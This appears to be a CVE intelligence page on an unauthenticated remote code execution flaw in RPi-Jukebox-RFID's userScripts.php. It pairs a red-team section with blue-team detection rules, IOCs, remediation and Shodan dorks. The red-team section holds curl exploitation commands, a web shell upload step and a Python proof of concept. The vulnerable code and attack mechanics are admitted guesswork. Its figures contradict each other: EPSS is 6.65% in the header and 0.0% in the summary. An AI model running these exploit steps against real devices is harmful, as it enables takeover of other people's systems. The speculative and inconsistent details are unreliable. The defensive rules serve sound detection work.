☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-94
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-41366

CVE-2024-41366 Remote Code Execution in Rpi-jukebox-rfid
📅 PUBLISHED: 2024-08-29 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 6.65%
👁️
6.65% probability
166.3× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: v2.7.0
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-41366 is a critical Remote Code Execution (RCE) vulnerability discovered in RPi-Jukebox-RFID v2.7.0, a popular open-source project for Raspberry Pi-based jukebox systems using RFID cards. The flaw resides in the htdocs/userScripts.php endpoint, allowing an unauthenticated attacker to execute arbitrary PHP code on the server. This vulnerability is particularly dangerous due to the lack of authentication requirements and the potential for full system compromise. The vendor has not released a patch, and no official advisory or GitHub commit addressing this issue has been identified. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the public availability of proof-of-concept code increases the risk for targeted attacks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone PHP application. However, users should verify the integrity of their installation and monitor for any unofficial patches or forks.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the vulnerability characteristics, a reasonable assessment is:

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High (H) – Full system read access possible.
  • Integrity (I): High (H) – Full system write access possible.
  • Availability (A): High (H) – Full system disruption possible.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows unauthenticated remote code execution, which can lead to complete server takeover, data exfiltration, and lateral movement within the network.

Deep Dive & Mechanics

The vulnerability exists in the htdocs/userScripts.php file. This script is designed to allow users to manage custom scripts, but it fails to properly sanitize or validate user-supplied input. Specifically, the script likely accepts parameters that are directly passed to PHP functions like eval(), system(), exec(), or shell_exec(), or it writes user input to a file that is then executed.

The core issue is a lack of input validation and authentication. An attacker can send a crafted HTTP request to the vulnerable endpoint with malicious PHP code. The server then executes this code, granting the attacker arbitrary command execution capabilities.

Attack Flow:

  1. Attacker identifies a target running RPi-Jukebox-RFID v2.7.0.
  2. Attacker sends a POST or GET request to /htdocs/userScripts.php with a parameter containing malicious PHP code (e.g., cmd=system('id');).
  3. The server processes the request and executes the attacker's code.
  4. The attacker gains a foothold on the system and can execute further commands.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only known state. The following is a hypothetical example of the vulnerable code pattern:

Vulnerable Code (hypothetical):

<?php
// htdocs/userScripts.php
$cmd = $_GET['cmd'];
eval($cmd);
?>

Patched Code (hypothetical):

<?php
// htdocs/userScripts.php
$cmd = $_GET['cmd'];
$allowed_commands = ['list', 'status', 'restart'];
if (in_array($cmd, $allowed_commands)) {
    // Execute only allowed commands
    system('/usr/bin/sudo /usr/local/bin/script.sh ' . escapeshellarg($cmd));
} else {
    die('Invalid command');
}
?>

The patched version would implement strict input validation, whitelisting allowed commands, and using escapeshellarg() to prevent injection. Additionally, authentication and authorization checks should be added.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Target: RPi-Jukebox-RFID v2.7.0 running on a Raspberry Pi.
  • Attacker: Any system with network access to the target.

Exploitation Steps:

  1. Reconnaissance: Scan for the target using Shodan or Nmap.

    nmap -p 80,443 --script http-title <target_ip>
    
  2. Verify Vulnerability: Send a test request to confirm the endpoint is accessible.

    curl -v "http://<target_ip>/htdocs/userScripts.php?cmd=echo%20test"
    
  3. Execute Command: Run a command to confirm RCE.

    curl "http://<target_ip>/htdocs/userScripts.php?cmd=system('id');"
    
  4. Establish Persistence: Upload a web shell or create a reverse shell.

    # Upload a PHP web shell
    curl -X POST -F "file=@shell.php" "http://<target_ip>/htdocs/userScripts.php?cmd=move_uploaded_file"
    
  5. Post-Exploitation: Escalate privileges, pivot, and exfiltrate data.

Proof-of-Concept (PoC) Code:

import requests

target = "http://<target_ip>/htdocs/userScripts.php"
payload = "system('id');"
response = requests.get(target, params={'cmd': payload})
print(response.text)

Blue Team

Detection and Response:

  1. Monitor Logs: Check web server access logs for suspicious requests to /htdocs/userScripts.php.

    grep "userScripts.php" /var/log/apache2/access.log | grep -E "(system|exec|shell_exec|passthru|eval)"
    
  2. Network Traffic Analysis: Look for outbound connections from the Raspberry Pi to unknown IPs on unusual ports (e.g., 4444, 1337).

  3. File Integrity Monitoring: Monitor changes to the htdocs/ directory, especially new PHP files.

  4. Honeypot: Deploy a decoy instance to capture attacker behavior.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests to /htdocs/userScripts.php with parameters containing PHP functions like system, exec, shell_exec, eval.
    • Outbound connections from the Raspberry Pi to IPs on ports 4444, 1337, or other common reverse shell ports.
  • File IOCs:

    • Unexpected PHP files in /var/www/html/htdocs/ or /home/pi/RPi-Jukebox-RFID/htdocs/.
    • Modified userScripts.php file with suspicious content.
    • Presence of web shells (e.g., shell.php, cmd.php).
  • Process IOCs:

    • Unusual processes running as www-data or pi user, such as nc, bash, python, perl.
  • Log IOCs:

    • Apache access log entries with userScripts.php and cmd= parameter.
    • System log entries showing unexpected command execution.

Detection Engineering

YARA Rule

rule CVE_2024_41366_RCE_Detection {
    meta:
        description = "Detects exploitation attempts of CVE-2024-41366 in RPi-Jukebox-RFID"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-41366"
        severity = "critical"
    strings:
        $php_func = /(system|exec|shell_exec|passthru|eval|popen|proc_open|assert)\s*\(/
        $url_path = "userScripts.php"
        $cmd_param = "cmd="
    condition:
        $url_path and $cmd_param and $php_func
}

Sigma Rule

title: CVE-2024-41366 RCE Attempt via userScripts.php
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests targeting userScripts.php with command execution parameters
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-41366
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'userScripts.php'
        cs-uri-query|contains: 'cmd='
        cs-uri-query|contains|re: '(system|exec|shell_exec|passthru|eval)'
    condition: selection
falsepositives:
    - Legitimate admin usage (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-41366 RCE Attempt - RPi-Jukebox-RFID userScripts.php";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"userScripts.php"; http_uri;
    content:"cmd="; http_uri;
    pcre:"/(system|exec|shell_exec|passthru|eval)/Ui";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2024-41366;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable endpoint: Remove or rename htdocs/userScripts.php if not required.
  2. Implement authentication: Add HTTP Basic Auth or integrate with the application's existing authentication system.
  3. Apply input validation: Whitelist allowed commands and use escapeshellarg() or escapeshellcmd().
  4. Restrict file permissions: Ensure the web server user has minimal write permissions.

Long-term Fix:

  • The vendor should release a patched version that removes the vulnerable functionality or implements proper security controls.
  • Users should monitor the project's GitHub repository for updates and apply patches as soon as they are available.

Compensating Controls:

  • Deploy a Web Application Firewall (WAF) with rules to block requests containing PHP functions in query parameters.
  • Use network segmentation to isolate the Raspberry Pi from critical systems.
  • Enable logging and monitoring to detect exploitation attempts.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"RPi-Jukebox-RFID"
http.html:"RPi-Jukebox-RFID"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-41366/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.